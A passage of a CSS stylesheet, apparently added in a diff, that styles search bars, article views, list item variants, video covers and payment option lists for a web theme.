1rem; + width: 1rem; + text-align: center; + font-size: var(--font-size, .65rem) +} + +.ub-search-mobile-bar .center .box .input { + position: absolute; + display: block; + left: 1.6rem; + top: .2rem; + border: none; + width: calc(100% - 2rem); + height: 1rem; + line-height: 1rem; + background-color: transparent; + outline: 0; + padding: 0 +} + +.ub-search-history .item { + display: flex +} + +.ub-search-history .item .remove, +.ub-search-history .item .text, +.ub-search-history .item .time { + display: inline-block; + min-width: 1.5rem; + text-align: center; + line-height: 1.5rem; + color: #c4cfdb +} + +.ub-search-history .item .text { + flex: 1; + text-align: left; + color: #333 +} + +.ub-search-result { + background-color: #fff; + padding: var(--size-margin, .5rem) +} + +.ub-search-result .keyword { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.ub-search-result .count { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.ub-search-block-a { + --radius: 1rem; + --height: 1.6rem; + --font-size: 0.65rem; + --font-size-btn: 0.8rem; + --border-size: 0.05rem; + position: relative; + border: var(--border-size) solid var(--color-primary); + border-radius: var(--radius); + padding: 0 +} + +.ub-search-block-a.lg { + --radius: 1.25rem; + --height: 2.5rem; + --font-size: 0.8rem; + --font-size-btn: 1rem; + --border-size: 0.1rem +} + +.ub-search-block-a.mini .search-btn { + padding: 0 .5rem; + font-size: .7rem +} + +.ub-search-block-a .input { + outline: 0; + height: var(--height); + width: 100%; + line-height: var(--height); + border: none; + padding: 0 .5rem; + font-size: var(--font-size); + box-sizing: border-box; + border-radius: var(--radius) +} + +.ub-search-block-a .search-btn { + display: block; + height: var(--height); + padding: 0 1rem; + line-height: var(--height); + background-color: var(--color-primary, #419488); + color: #fff; + position: absolute; + right: 0; + top: 0; + font-size: var(--font-size-btn); + border-radius: calc(var(--radius) - 2px) +} + +.ub-search-block-a .search-btn:hover { + color: #fff +} + +.ub-article { + border-radius: var(--size-radius, .25rem) +} + +.ub-article.white { + background: #fff; + padding: 1rem +} + +.ub-article h1 { + font-size: 1.5rem; + padding: 0; + margin: 0; + line-height: 2rem +} + +.ub-article .attr { + color: #c4cfdb; + padding: .5rem 0; + border-bottom: .05rem solid #eee +} + +.ub-article .cover img { + width: 100% +} + +.ub-article .content { + padding: .5rem 0 +} + +.ub-article-a { + background: #fff; + padding: 1rem; + border-radius: var(--size-radius, .25rem) +} + +.ub-article-a .image { + border: #eee 1px solid; + padding: .5rem; + overflow: hidden +} + +.ub-article-a .image .text { + color: #666; + padding: .25rem 0 +} + +.ub-article-a .image .text .left { + float: left +} + +.ub-article-a .image .text .right { + float: right +} + +.ub-article-a .content { + padding-left: 1rem +} + +.ub-article-a .content h1 { + color: #000; + font-size: var(--font-size-large, 1rem); + line-height: 1.5rem +} + +.ub-article-a .content .info { + padding: 0 +} + +.ub-article-a .content .action { + padding: .5rem 0 0 0 +} + +.ub-article-a .content .action .btn { + margin-right: .5rem +} + +.ub-list-head-tools-placeholder { + height: 2rem +} + +.ub-list-head-tools { + box-shadow: 0 0 2px #ccc; + background: var(--color-content-bg); + height: 2rem; + display: flex; + position: fixed; + top: 0; + left: 0; + right: 0; + z-index: 10000 +} + +.ub-list-head-tools .item { + flex: 1 +} + +.ub-list-head-tools .item.open .item-drawer-title .icon { + transform: rotateZ(180deg) +} + +.ub-list-head-tools .item.open .item-drawer-mask { + display: block !important +} + +.ub-list-head-tools .item .item-drawer .item-drawer-title { + line-height: 2rem; + text-align: center +} + +.ub-list-head-tools .item .item-drawer .item-drawer-title .icon, +.ub-list-head-tools .item .item-drawer .item-drawer-title .text { + display: inline-block +} + +.ub-list-head-tools .item .item-drawer .item-drawer-title .icon { + color: #ccc; + transition: all .3s ease-in-out +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask { + transition: all .3s ease-in-out; + display: none; + position: absolute; + top: 2rem; + left: 0; + right: 0; + height: calc(100vh - 2rem); + background: rgba(0, 0, 0, .5) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content { + position: relative; + padding-bottom: 3rem; + background: var(--color-content-bg); + border-top: 1px solid var(--color-body-line) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content.no-foot { + padding-bottom: 0 +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content.no-foot .item-drawer-content-body { + max-height: calc(100vh - 2rem) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body { + max-height: calc(100vh - 2rem - 3rem); + overflow: auto; + background: var(--color-content-bg); + padding: var(--size-margin); + box-shadow: inset 0 0 10px var(--color-body-line) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item { + font-size: var(--font-size); + text-align: left; + line-height: 2rem; + padding: 0 1rem; + display: flex +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item.active { + color: var(--color-primary) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item.active .checked { + visibility: visible +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .checked { + font-size: var(--font-size-large); + overflow: hidden; + visibility: hidden; + width: 1.5rem +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .checked, +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text { + display: inline-block; + vertical-align: middle +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text { + border-bottom: 1px solid #f8f8f8; + flex: 1 +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text:last-child { + border-bottom: none +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-foot { + display: flex; + padding: var(--size-margin); + position: absolute; + bottom: 0; + left: 0; + right: 0; + background: var(--color-content-bg); + border-top: 1px solid var(--color-body-line) +} + +.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-foot .btn { + flex: 1; + margin: 0 .5rem +} + +.ub-list { + background: var(--color-content-bg); + border-radius: var(--size-radius) +} + +.ub-list.no-bg { + background-color: transparent +} + +.ub-list.no-bg .head { + padding: .5rem 0 +} + +.ub-list.no-bg .body { + margin-left: -.5rem; + margin-right: -.5rem +} + +.ub-list .head { + padding: .5rem +} + +.ub-list .head .more { + float: right; + line-height: 1.5rem +} + +.ub-list .head .title { + display: inline-block; + line-height: 1rem; + font-size: var(--font-size) +} + +.ub-list .body { + margin-top: -.5rem; + padding: .5rem +} + +.ub-list .body mark, +.ub-list-items mark { + color: red; + background: 0 0 +} + +.ub-list .body .item-a, +.ub-list-items .item-a { + border-radius: .5rem; + padding: .5rem .5rem .5rem 3.5rem; + overflow: hidden; + margin: 0 0 .5rem 0; + box-shadow: 0 0 1rem rgba(0, 0, 0, .05); + background-color: var(--color-content-bg) +} + +.ub-list .body .item-a .icon, +.ub-list-items .item-a .icon { + float: left; + margin: .25rem 0 0 -2.75rem; + height: 2rem; + width: 2rem; + border-radius: .15rem; + background-size: cover; + background-position: center; + background-repeat: no-repeat +} + +.ub-list .body .item-a .icon .img, +.ub-list .body .item-a .icon img, +.ub-list-items .item-a .icon .img, +.ub-list-items .item-a .icon img { + height: 2rem; + width: 2rem; + border-radius: .15rem +} + +.ub-list .body .item-a .icon img, +.ub-list-items .item-a .icon img { + object-fit: contain +} + +.ub-list .body .item-a .title, +.ub-list-items .item-a .title { + display: block; + color: var(--color-text); + font-size: var(--font-size-large); + line-height: 1.5rem; + height: 1.5rem +} + +.ub-list .body .item-a .title:hover, +.ub-list-items .item-a .title:hover { + color: #111 +} + +.ub-list .body .item-a .summary, +.ub-list-items .item-a .summary { + color: #c4cfdb; + font-size: var(--font-size); + height: 1rem; + line-height: 1rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap +} + +.ub-list .body .item-b, +.ub-list-items .item-b { + line-height: 2em; + text-align: center; + display: block; + border-radius: .25rem; + margin: .25rem 0; + color: var(--color-primary); + box-shadow: 0 0 1rem rgba(0, 0, 0, .05); + color: var(--color-text) +} + +.ub-list .body .item-b:hover, +.ub-list-items .item-b:hover { + background-color: #eee +} + +.ub-list .body .item-c, +.ub-list-items .item-c { + line-height: 2em; + display: block; + margin: .25rem 0; + color: var(--color-text); + height: 2em; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis +} + +.ub-list .body .item-c:before, +.ub-list-items .item-c:before { + content: "▪"; + color: var(--color-primary); + display: inline-block; + margin-right: .2rem +} + +.ub-list .body .item-d, +.ub-list-items .item-d { + border-bottom: .05rem dashed var(--color-body-line); + padding: var(--size-margin) 0 +} + +.ub-list .body .item-d:hover .title, +.ub-list-items .item-d:hover .title { + color: var(--color-primary) +} + +.ub-list .body .item-d .title, +.ub-list-items .item-d .title { + font-size: var(--font-size-large); + color: var(--color-text); + line-height: 1.4rem; + transition: color .2s ease-in-out +} + +.ub-list .body .item-d .summary, +.ub-list-items .item-d .summary { + color: var(--color-tertiary); + font-size: var(--font-size); + padding: .25rem 0 0 0 +} + +.ub-list .body .item-d .action, +.ub-list-items .item-d .action { + display: flex; + padding-top: .25rem; + color: var(--color-muted) +} + +.ub-list .body .item-d .action a, +.ub-list-items .item-d .action a { + color: var(--color-muted) +} + +.ub-list .body .item-d .action .left, +.ub-list-items .item-d .action .left { + flex-grow: 1 +} + +.ub-list .body .item-e, +.ub-list-items .item-e { + padding-bottom: .5rem; + border-radius: .25rem; + overflow: hidden; + border: 1px solid var(--color-body-bg) +} + +.ub-list .body .item-e:hover, +.ub-list-items .item-e:hover { + box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .05) +} + +.ub-list .body .item-e:hover .cover, +.ub-list-items .item-e:hover .cover { + transform: scale(1.05) +} + +.ub-list .body .item-e:hover .title, +.ub-list-items .item-e:hover .title { + color: var(--color-primary) +} + +.ub-list .body .item-e .cover, +.ub-list-items .item-e .cover { + display: block; + overflow: hidden; + background: no-repeat center; + background-size: cover; + border-radius: .25rem .25rem 0 0; + transition: transform .3s ease-in-out +} + +.ub-list .body .item-e .cover:after, +.ub-list-items .item-e .cover:after { + content: ''; + display: block; + margin-top: 66.666667% +} + +.ub-list .body .item-e .title, +.ub-list-items .item-e .title { + line-height: 1rem; + height: 1rem; + display: block; + margin-top: .5rem; + padding: 0 .5rem; + color: var(--color-text); + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + transition: all .3s ease-in-out +} + +.ub-list .body .item-e .summary, +.ub-list-items .item-e .summary { + margin-top: .25rem; + line-height: 1rem; + height: 2rem; + color: #c4cfdb; + overflow: hidden; + padding: 0 .5rem +} + +.ub-list .body .item-f, +.ub-list-items .item-f { + padding: 0 0 0 4rem; + margin: 0 0 .75rem 0 +} + +.ub-list .body .item-f .date, +.ub-list-items .item-f .date { + float: left; + margin: 0 0 0 -4rem; + display: block; + width: 3rem; + border: .05rem solid var(--color-primary); + border-radius: .15rem; + text-align: center; + line-height: 1.25rem +} + +.ub-list .body .item-f .date .day, +.ub-list-items .item-f .date .day { + color: #fff; + font-size: var(--font-size-large); + background: var(--color-primary) +} + +.ub-list .body .item-f .date .month, +.ub-list-items .item-f .date .month { + color: var(--color-text) +} + +.ub-list .body .item-f .title, +.ub-list-items .item-f .title { + display: block; + line-height: 1rem; + height: 1rem; + overflow: hidden +} + +.ub-list .body .item-f .summary, +.ub-list-items .item-f .summary { + color: #c4cfdb; + height: 2rem; + line-height: 1rem; + overflow: hidden +} + +.ub-list .body .item-g, +.ub-list-items .item-g { + border-radius: .25rem; + padding: 1rem; + overflow: hidden; + margin: 0 0 .5rem 0; + text-align: center; + display: block; + background-color: var(--color-content-bg) +} + +.ub-list .body .item-g:hover, +.ub-list-items .item-g:hover { + box-shadow: 0 0 1rem rgba(0, 0, 0, .05) +} + +.ub-list .body .item-g .title, +.ub-list-items .item-g .title { + display: block; + color: var(--color-text); + margin-top: .5rem; + height: 1rem; + line-height: 1rem; + overflow: hidden +} + +.ub-list .body .item-g .title:hover, +.ub-list-items .item-g .title:hover { + color: #111 +} + +.ub-list .body .item-h, +.ub-list-items .item-h { + border: .05rem solid #eee; + border-radius: .15rem; + padding: .5rem .5rem .5rem 2.5rem; + overflow: hidden; + margin: 0 0 .5rem 0; + display: block +} + +.ub-list .body .item-h:last-child, +.ub-list-items .item-h:last-child { + margin-bottom: 0 +} + +.ub-list .body .item-h:hover, +.ub-list-items .item-h:hover { + border-color: #ccc +} + +.ub-list .body .item-h .icon, +.ub-list-items .item-h .icon { + float: left; + margin: 0 0 0 -2rem +} + +.ub-list .body .item-h .icon img, +.ub-list-items .item-h .icon img { + height: 1.5rem; + width: 1.5rem; + border: none +} + +.ub-list .body .item-h .icon .cover, +.ub-list-items .item-h .icon .cover { + display: block; + width: 1.5rem; + height: 1.5rem; + background-repeat: no-repeat; + background-position: center; + background-size: cover +} + +.ub-list .body .item-h .icon i, +.ub-list-items .item-h .icon i { + display: block; + width: 1.5rem; + height: 1.5rem; + line-height: 1.5rem; + text-align: center; + font-size: var(--font-size-large); + color: #c4cfdb +} + +.ub-list .body .item-h .title, +.ub-list-items .item-h .title { + display: block; + color: var(--color-text); + font-size: var(--font-size); + line-height: 1.5rem; + height: 1.5rem +} + +.ub-list .body .item-h .title:hover, +.ub-list-items .item-h .title:hover { + color: #111 +} + +.ub-list .body .item-i, +.ub-list-items .item-i { + border-radius: .25rem; + padding: .5rem .5rem .5rem 2.5rem; + overflow: hidden; + margin: 0 0 .5rem 0; + display: block; + background-color: #fff +} + +.ub-list .body .item-i:hover, +.ub-list-items .item-i:hover { + box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .05) +} + +.ub-list .body .item-i:hover .title, +.ub-list-items .item-i:hover .title { + color: var(--color-primary) +} + +.ub-list .body .item-i .right, +.ub-list-items .item-i .right { + float: right; + color: var(--color-muted); + padding-left: 1rem +} + +.ub-list .body .item-i .icon, +.ub-list-items .item-i .icon { + float: left; + margin: .25rem 0 0 -2rem; + width: 1.5rem; + border-radius: .25rem +} + +.ub-list .body .item-i .icon img, +.ub-list-items .item-i .icon img { + height: 1.5rem; + width: 1.5rem; + border: none +} + +.ub-list .body .item-i .icon i, +.ub-list-items .item-i .icon i { + display: block; + width: 1.5rem; + height: 1.5rem; + line-height: 1.5rem; + text-align: center; + font-size: var(--font-size-large); + color: #c4cfdb +} + +.ub-list .body .item-i .title, +.ub-list-items .item-i .title { + display: block; + color: var(--color-text); + font-size: var(--font-size); + line-height: 1rem; + height: 1rem; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-list .body .item-i .title:hover, +.ub-list-items .item-i .title:hover { + color: #111 +} + +.ub-list .body .item-i .desc, +.ub-list-items .item-i .desc { + color: #c4cfdb; + font-size: .65rem; + line-height: 1rem; + height: 1rem; + overflow: hidden; + display: block; + text-overflow: ellipsis +} + +.ub-list .body .item-j, +.ub-list-items .item-j { + border: .05rem solid #eee; + border-radius: .15rem; + padding: .5rem; + overflow: hidden; + margin: 0 0 .5rem 0; + display: block; + color: #c4cfdb +} + +.ub-list .body .item-j:hover, +.ub-list-items .item-j:hover { + border-color: #ccc +} + +.ub-list .body .item-j .status, +.ub-list-items .item-j .status { + float: right; + line-height: 1rem; + color: #c4cfdb +} + +.ub-list .body .item-j .title, +.ub-list-items .item-j .title { + display: block; + color: var(--color-text); + font-size: var(--font-size); + line-height: 1rem; + height: 1rem +} + +.ub-list .body .item-j .title:hover, +.ub-list-items .item-j .title:hover { + color: #111 +} + +.ub-list .body .item-j .attr, +.ub-list-items .item-j .attr { + padding: .5rem 0 0 0; + font-size: var(--font-size) +} + +.ub-list .body .item-j .attr .line, +.ub-list-items .item-j .attr .line { + line-height: .975rem +} + +.ub-list .body .item-k, +.ub-list-items .item-k { + padding: .5rem .5rem .5rem 10.5rem; + overflow: hidden; + border-radius: .25rem; + background: var(--color-content-bg) +} + +.ub-list .body .item-k.item-k-a, +.ub-list-items .item-k.item-k-a { + padding: .5rem .5rem .5rem 4rem +} + +.ub-list .body .item-k.item-k-a .image, +.ub-list-items .item-k.item-k-a .image { + width: 3rem; + margin-left: -3.5rem; + border-radius: 50% +} + +.ub-list .body .item-k.item-k-a .image .cover, +.ub-list-items .item-k.item-k-a .image .cover { + border-radius: 50%; + box-shadow: 0 0 1px #c4cfdb +} + +.ub-list .body .item-k.item-k-a .info, +.ub-list-items .item-k.item-k-a .info { + padding-top: .5rem +} + +.ub-list .body .item-k.item-k-b, +.ub-list-items .item-k.item-k-b { + padding: .25rem .25rem .25rem 3rem +} + +.ub-list .body .item-k.item-k-b .image, +.ub-list-items .item-k.item-k-b .image { + width: 2rem; + height: 2rem; + margin-left: -2.5rem +} + +.ub-list .body .item-k.item-k-b .image .cover, +.ub-list-items .item-k.item-k-b .image .cover { + box-shadow: 0 0 1px #c4cfdb +} + +.ub-list .body .item-k.item-k-b .title, +.ub-list-items .item-k.item-k-b .title { + font-size: var(--font-size); + padding: .25rem 0; + display: block; + padding: .5rem 0; + line-height: 1rem +} + +.ub-list .body .item-k.item-k-b .right, +.ub-list-items .item-k.item-k-b .right { + padding: 0 .25rem; + height: 2rem; + display: flex; + align-items: center +} + +.ub-list .body .item-k:hover .image .cover, +.ub-list-items .item-k:hover .image .cover { + transform: scale(1.05) +} + +.ub-list .body .item-k:hover .title, +.ub-list-items .item-k:hover .title { + color: var(--color-primary) +} + +.ub-list .body .item-k .right, +.ub-list-items .item-k .right { + float: right +} + +.ub-list .body .item-k .image, +.ub-list-items .item-k .image { + width: 9rem; + float: left; + margin-left: -10rem; + display: block; + overflow: hidden; + border-radius: .25rem +} + +.ub-list .body .item-k .image .cover, +.ub-list-items .item-k .image .cover { + border-radius: .25rem; + transition: transform .6s ease-in-out +} + +.ub-list .body .item-k .title, +.ub-list-items .item-k .title { + font-size: var(--font-size-large); + color: var(--color-text); + line-height: 1.2; + display: block; + text-overflow: ellipsis; + overflow: hidden; + white-space: nowrap +} + +.ub-list .body .item-k .summary, +.ub-list-items .item-k .summary { + color: var(--color-tertiary); + font-size: var(--font-size); + padding: .5rem 0 0 0; + height: 3.425rem; + line-height: .975rem; + display: block; + overflow: hidden; + -webkit-line-clamp: 3; + -webkit-box-orient: vertical; + display: -webkit-box +} + +.ub-list .body .item-k .info, +.ub-list-items .item-k .info { + color: var(--color-tertiary); + font-size: var(--font-size); + padding: 1rem 0 0 0; + overflow: hidden; + display: block +} + +.ub-list .body .item-k .info .left, +.ub-list-items .item-k .info .left { + float: left +} + +.ub-list .body .item-k .info .right, +.ub-list-items .item-k .info .right { + float: right +} + +.ub-list .body .item-k .info a, +.ub-list-items .item-k .info a { + color: var(--color-tertiary) +} + +.ub-list .body .item-k .info a:hover, +.ub-list-items .item-k .info a:hover { + text-decoration: underline +} + +.ub-list .body .item-l, +.ub-list-items .item-l { + line-height: 2em; + display: block; + position: relative; + height: 1.5rem; + overflow: hidden; + padding-left: 2rem; + padding-right: 7em; + box-sizing: content-box +} + +.ub-list .body .item-l .seq, +.ub-list-items .item-l .seq { + position: absolute; + width: 1rem; + height: 1rem; + left: 0; + top: .25em; + background: #fbe6e6; + cursor: pointer; + line-height: 1rem; + text-align: center; + color: #d22525; + display: block +} + +.ub-list .body .item-l .right, +.ub-list-items .item-l .right { + position: absolute; + right: 0; + top: 0; + color: var(--color-text); + width: 6em; + text-align: center; + background: #f9f9f9 +} + +.ub-list .body .item-l .title, +.ub-list-items .item-l .title { + color: var(--color-primary); + white-space: nowrap; + text-overflow: ellipsis; + display: block; + height: 1rem; + overflow: hidden +} + +.ub-list .body .item-m, +.ub-list-items .item-m { + color: #c4cfdb; + background-color: #f6f6f6; + height: 1.5rem; + line-height: 1.5rem; + overflow: hidden; + padding: 0 .2rem; + display: -moz-box; + white-space: nowrap; + text-overflow: ellipsis; + display: block; + margin: .1rem -.15rem; + border-radius: 3px +} + +.ub-list .body .item-m:hover, +.ub-list-items .item-m:hover { + background: var(--color-primary); + color: #fff +} + +.ub-list .body .item-n, +.ub-list-items .item-n { + margin-bottom: 1rem; + transition: all .3s ease-in-out +} + +.ub-list .body .item-n:hover, +.ub-list-items .item-n:hover { + transform: translateY(-.25rem); + background: var(--color-content-bg); + box-shadow: 0 0 .5rem rgba(0, 0, 0, .1) +} + +.ub-list .body .item-n .image .cover, +.ub-list-items .item-n .image .cover { + border-radius: .1rem +} + +.ub-list .body .item-n .text .cover, +.ub-list-items .item-n .text .cover { + display: flex; + align-items: center; + justify-content: center; + border-radius: .1rem +} + +.ub-list .body .item-n .text .cover .content, +.ub-list-items .item-n .text .cover .content { + color: #111; + text-shadow: 0 0 10px #eee; + font-size: 1rem +} + +.ub-list .body .item-o, +.ub-list-items .item-o { + background: #fff; + margin-bottom: .5rem; + border-radius: 3px +} + +.ub-list .body .item-o:hover .image .cover, +.ub-list-items .item-o:hover .image .cover { + transform: scale(1.1); + transition: all .6s +} + +.ub-list .body .item-o .image, +.ub-list-items .item-o .image { + display: block; + background: #fff; + overflow: hidden +} + +.ub-list .body .item-o .title, +.ub-list-items .item-o .title { + font-size: var(--font-size-large); + display: block; + color: var(--color-primary); + border-top: .25rem solid var(--color-primary); + background: #fff; + line-height: 2rem; + padding: 0 1rem; + position: relative +} + +.ub-list .body .item-o .title:after, +.ub-list-items .item-o .title:after { + content: '>'; + display: block; + transform: scaleX(.6); + font-weight: 700; + position: absolute; + right: 1rem; + top: 0; + height: 2rem; + font-size: var(--font-size-large) +} + +.ub-list .body .item-p, +.ub-list-items .item-p { + border-radius: .25rem; + margin-bottom: .5rem; + background: #fff; + padding: 0 0 1rem 0; + box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .05) +} + +.ub-list .body .item-p:hover .image .cover, +.ub-list-items .item-p:hover .image .cover { + transform: scale(1.1) +} + +.ub-list .body .item-p .image, +.ub-list-items .item-p .image { + display: block; + overflow: hidden; + border-radius: .25rem .25rem 0 0 +} + +.ub-list .body .item-p .image .cover, +.ub-list-items .item-p .image .cover { + border-radius: .2rem .2rem 0 0; + transition: transform .6s +} + +.ub-list .body .item-p .title, +.ub-list-items .item-p .title { + font-size: var(--font-size); + text-align: center; + padding: .5rem; + display: block; + color: var(--color-text); + height: 2rem; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis +} + +.ub-list .body .item-p .title:hover, +.ub-list-items .item-p .title:hover { + color: var(--color-primary) +} + +.ub-list .body .item-p .summary, +.ub-list-items .item-p .summary { + display: block; + color: #c4cfdb; + text-align: center; + height: 1rem; + line-height: 1rem; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + padding: 0 .5rem; + cursor: default +} + +.ub-list .body .item-p .summary.line2, +.ub-list-items .item-p .summary.line2 { + height: 2rem; + white-space: normal; + -webkit-box-orient: vertical; + -webkit-line-clamp: 2; + display: -webkit-box +} + +.ub-list .body .item-video, +.ub-list-items .item-video { + position: relative; + display: block; + margin: .5rem; + border-radius: .15rem +} + +.ub-list .body .item-video img, +.ub-list-items .item-video img { + width: 100% +} + +.ub-list .body .item-video .mask, +.ub-list-items .item-video .mask { + border-radius: .15rem; + position: absolute; + background: rgba(0, 0, 0, .2); + text-align: center; + left: 0; + right: 0; + bottom: 0; + top: 0; + color: #fff; + font-size: 3rem +} + +.ub-list .body .item-video .mask .box, +.ub-list-items .item-video .mask .box { + display: table; + height: 100%; + width: 100% +} + +.ub-list .body .item-video .mask .box i, +.ub-list-items .item-video .mask .box i { + vertical-align: middle; + display: table-cell +} + +.ub-list .body .item-video-cover, +.ub-list-items .item-video-cover { + background-color: var(--color-content-bg); + margin: 0 0 .5rem 0; + border-radius: var(--size-radius); + overflow: hidden; + transition: box-shadow .3s +} + +.ub-list .body .item-video-cover.vertical .cover:after, +.ub-list-items .item-video-cover.vertical .cover:after { + margin-top: 151% +} + +.ub-list .body .item-video-cover:hover, +.ub-list-items .item-video-cover:hover { + box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .05) +} + +.ub-list .body .item-video-cover:hover .cover, +.ub-list-items .item-video-cover:hover .cover { + transform: scale(1.05) +} + +.ub-list .body .item-video-cover:hover .cover .mask-text, +.ub-list-items .item-video-cover:hover .cover .mask-text { + transform: scale(.95) +} + +.ub-list .body .item-video-cover:hover .title, +.ub-list-items .item-video-cover:hover .title { + color: var(--color-primary) +} + +.ub-list .body .item-video-cover .cover, +.ub-list-items .item-video-cover .cover { + display: block; + overflow: hidden; + background: no-repeat center; + background-size: cover; + border-radius: var(--size-radius) var(--size-radius) 0 0; + transition: transform .3s ease-in-out; + position: relative +} + +.ub-list .body .item-video-cover .cover:after, +.ub-list-items .item-video-cover .cover:after { + content: ''; + display: block; + margin-top: 66.666667% +} + +.ub-list .body .item-video-cover .cover .mask-text, +.ub-list-items .item-video-cover .cover .mask-text { + position: absolute; + bottom: 0; + left: 0; + right: 0; + background: rgba(0, 0, 0, .1); + padding: .25rem; + color: #fff; + text-align: center; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + transition: all .3s +} + +.ub-list .body .item-video-cover .title, +.ub-list-items .item-video-cover .title { + line-height: 1rem; + height: 1.5rem; + overflow: hidden; + display: block; + color: var(--color-text); + white-space: nowrap; + text-overflow: ellipsis; + width: 100%; + padding: .25rem .5rem +} + +.ub-list .body .item-video-cover .category, +.ub-list-items .item-video-cover .category { + padding: .25rem .5rem +} + +.ub-list .body .item-video-cover .category .stat, +.ub-list-items .item-video-cover .category .stat { + float: right +} + +.ub-list .body .item-video-cover .category .stat a, +.ub-list-items .item-video-cover .category .stat a { + margin-left: var(--size-margin) +} + +.ub-list .body .item-video-cover .category a, +.ub-list-items .item-video-cover .category a { + color: var(--color-tertiary) +} + +.ub-list .body .item-video-cover .category a i, +.ub-list-items .item-video-cover .category a i { + display: inline-block; + width: 1em; + text-align: center +} + +.ub-list .body .item-video-cover .category a:hover, +.ub-list-items .item-video-cover .category a:hover { + color: var(--color-text) +} + +.ub-list .body .item-video-cover-a, +.ub-list-items .item-video-cover-a { + padding: var(--size-margin); + margin: 0 0 .5rem 0 +} + +.ub-list .body .item-video-cover-a:hover .cover, +.ub-list-items .item-video-cover-a:hover .cover { + transform: scale(1.07); + transition: all .3s +} + +.ub-list .body .item-video-cover-a .cover, +.ub-list-items .item-video-cover-a .cover { + display: block; + border-radius: var(--size-radius); + position: relative +} + +.ub-list .body .item-video-cover-a .cover .time, +.ub-list-items .item-video-cover-a .cover .time { + position: absolute; + display: block; + bottom: .5rem; + right: 1rem; + color: #fff; + text-shadow: 0 0 2px #ccc; + font-size: var(--font-size-small) +} + +.ub-list .body .item-video-cover-a .user, +.ub-list-items .item-video-cover-a .user { + display: block; + height: 2.2rem; + margin-top: -.5rem; + margin-left: 1rem; + position: relative +} + +.ub-list .body .item-video-cover-a .user .avatar, +.ub-list-items .item-video-cover-a .user .avatar { + width: 1.8rem; + height: 1.8rem; + display: inline-block +} + +.ub-list .body .item-video-cover-a .user .avatar .image, +.ub-list-items .item-video-cover-a .user .avatar .image { + width: 1.8rem; + height: 1.8rem; + border: .1rem solid #fff; + border-radius: 50% +} + +.ub-list .body .item-video-cover-a .user .name, +.ub-list-items .item-video-cover-a .user .name { + display: inline-block; + vertical-align: bottom; + color: #1d1d1d +} + +.ub-list .body .item-video-cover-a .title, +.ub-list-items .item-video-cover-a .title { + line-height: 1rem; + height: 2rem; + overflow: hidden; + display: block; + color: #1d1d1d; + text-overflow: ellipsis; + width: 100% +} + +.ub-list .body .item-video-cover-a .info, +.ub-list-items .item-video-cover-a .info { + font-size: var(--font-size-small); + color: #c4cfdb; + padding-top: .5rem +} + +@media screen and (max-width:40rem) { + .ub-list .body .item-k, + .ub-list-items .item-k { + padding: .5rem .5rem .5rem 5rem + } + .ub-list .body .item-k .title, + .ub-list-items .item-k .title { + font-size: var(--font-size) + } + .ub-list .body .item-k .image, + .ub-list-items .item-k .image { + width: 4rem; + margin-left: -4.5rem + } + .ub-list .body .item-k .summary, + .ub-list-items .item-k .summary { + font-size: var(--font-size-small); + padding-top: .25rem; + height: 2rem + } +} + +@media screen and (max-width:40rem) { + .ub-list .body .item-video-cover:hover, + .ub-list-items .item-video-cover:hover { + transform: none + } + .ub-list { + max-width: 100%; + overflow: hidden + } + .ub-list.no-bg .head { + padding: .5rem + } +} + +.ub-list-pay.disabled .item:hover { + border-color: #eee +} + +.ub-list-pay.inlined { + background: #f8f8f8; + border-radius: .5rem; + padding: .5rem +} + +.ub-list-pay.inlined .item { + display: inline-block; + min-width: 8rem; + line-height: 1.5rem; + cursor: default; + border: 1px solid var(--color-body-line); + padding: .3rem .5rem +} + +.ub-list-pay .item { + line-height: 2.5rem; + border: 2px solid #eee; + padding: 0 10px; + border-radius: .3rem; + text-align: left; + color: var(--color-text); + display: block; + margin-bottom: .5rem +} + +.ub-list-pay .item.active { + border-color: var(--color-primary) +} + +.ub-list-pay .item:hover { + border-color: var(--color-primary) +} + +.ub-list-pay .item .icon { + width: 1.5rem; + height: 1.5rem; + vertical-align: middle; + margin-right: .2rem +} + +.ub-html { + line-height: 2; + -ms-text-size-adjust: 100%; + -webkit-text-size-adjust: 100%; + overflow: hidden; + word-wrap: break-word +} + +.ub-html.lg { + font-size: .75rem +} + +.ub-html.sm { + font-size: .6rem +} + +.ub-html>:first-child { + margin-top: 0 +} + 